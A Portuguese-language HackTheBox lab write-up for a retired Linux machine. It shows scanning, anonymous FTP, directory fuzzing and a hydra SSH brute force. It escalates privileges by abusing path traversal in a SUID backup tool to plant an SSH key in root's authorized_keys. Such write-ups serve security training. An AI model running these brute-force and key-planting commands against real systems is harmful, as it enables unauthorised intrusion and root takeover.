Este write-up documenta a abordagem que usei para comprometer uma máquina Linux de dificuldade média no HackTheBox. O foco está no processo de pensamento e metodologia, não apenas nos comandos.
Nota: Write-ups no HTB só são publicados após a máquina ser reformada. Todos os IPs usados são de ambiente controlado.
Sumário Executivo
- Acesso inicial: Enumeração de serviços revelou um serviço FTP com credenciais por defeito. Os ficheiros encontrados continham informação suficiente para comprometer uma aplicação web.
- Escalada de privilégios: Binário SUID com versão vulnerável a CVE-2023-XXXX.
- Tempo total: 2h30m
Fase 1 — Reconhecimento
# Scan inicial rápido
nmap -sV -sC --open -p- --min-rate 5000 10.10.11.XXX -oN scan.txt
Serviços descobertos:
- 21/tcp — FTP (vsftpd 3.0.3) — login anónimo permitido
- 22/tcp — SSH (OpenSSH 8.4)
- 80/tcp — HTTP (Apache 2.4.51)
O login anónimo no FTP é sempre um sinal de alerta. Primeira coisa a explorar.
Fase 2 — Enumeração
FTP Anónimo
ftp 10.10.11.XXX
# Username: anonymous
# Password: (vazio)
ftp> ls -la
ftp> get notes.txt
ftp> get config.bak
O ficheiro notes.txt continha uma nota interna com um nome de utilizador e uma referência a uma password “temporária” no formato EMPRESA_ANO.
O config.bak revelou a estrutura de uma aplicação web e um endpoint /admin/setup.
Enumeração Web
# Directory fuzzing
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://10.10.11.XXX/FUZZ \
-fc 404 -mc 200,301,302 \
-t 50
# Resultados relevantes:
# /admin [200]
# /uploads [403]
# /api/v1 [200]
O endpoint /api/v1 estava a devolver informação sem autenticação — exposição de API não documentada.
Fase 3 — Exploração
Acesso Inicial
Combinando o utilizador do notes.txt com variações da password encontrada:
hydra -l utilizador -P passwords.txt ssh://10.10.11.XXX
Credenciais válidas encontradas em 3 minutos. Acesso SSH obtido como utilizador não privilegiado.
Estabilização da Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg
Fase 4 — Enumeração Pós-Acesso
Com acesso ao sistema, o foco muda para escalada de privilégios.
# Informação básica do sistema
id && whoami
uname -a
cat /etc/os-release
# Binários SUID
find / -perm -4000 -type f 2>/dev/null
# Tarefas cron
cat /etc/crontab
ls -la /etc/cron.*
# Processos a correr como root
ps aux | grep root
# Capabilities
getcap -r / 2>/dev/null
A lista de SUIDs revelou um binário customizado: /usr/local/bin/backup_tool. Uma versão antiga de uma ferramenta de backup com uma vulnerabilidade conhecida de path traversal.
Fase 5 — Escalada de Privilégios
# Verificar versão
/usr/local/bin/backup_tool --version
# backup_tool v2.1.3
# Pesquisa de CVE
searchsploit backup_tool 2.1
A vulnerabilidade permitia path traversal no parâmetro de destino:
/usr/local/bin/backup_tool --source /home/user --dest "../../../root/.ssh/"
# Copia a nossa chave pública para authorized_keys do root
# Gerar par de chaves
ssh-keygen -t ed25519 -f /tmp/pwn_key
# Explorar o path traversal para escrever a nossa chave pública
echo $(cat /tmp/pwn_key.pub) > /tmp/auth
/usr/local/bin/backup_tool --source /tmp/auth --dest "../../../root/.ssh/authorized_keys"
# Login como root
ssh -i /tmp/pwn_key root@10.10.11.XXX
Root obtido.
Lições Aprendidas
-
Credenciais por defeito continuam a ser um vector de acesso inicial extremamente comum. Sempre enumerar serviços com autenticação anónima.
-
APIs não documentadas frequentemente não têm os mesmos controlos de segurança que as interfaces principais.
-
Binários SUID customizados são alvos prioritários em escalada de privilégios — ferramentas genéricas como sudo e su são bem auditadas; software interno raramente é.
-
O processo importa mais do que as ferramentas. A maioria do trabalho foi enumeração cuidadosa, não exploração automática.
Flags
- User:
rng{u53r_fl4g_h3r3}(exemplo) - Root:
rng{r00t_fl4g_h3r3}(exemplo)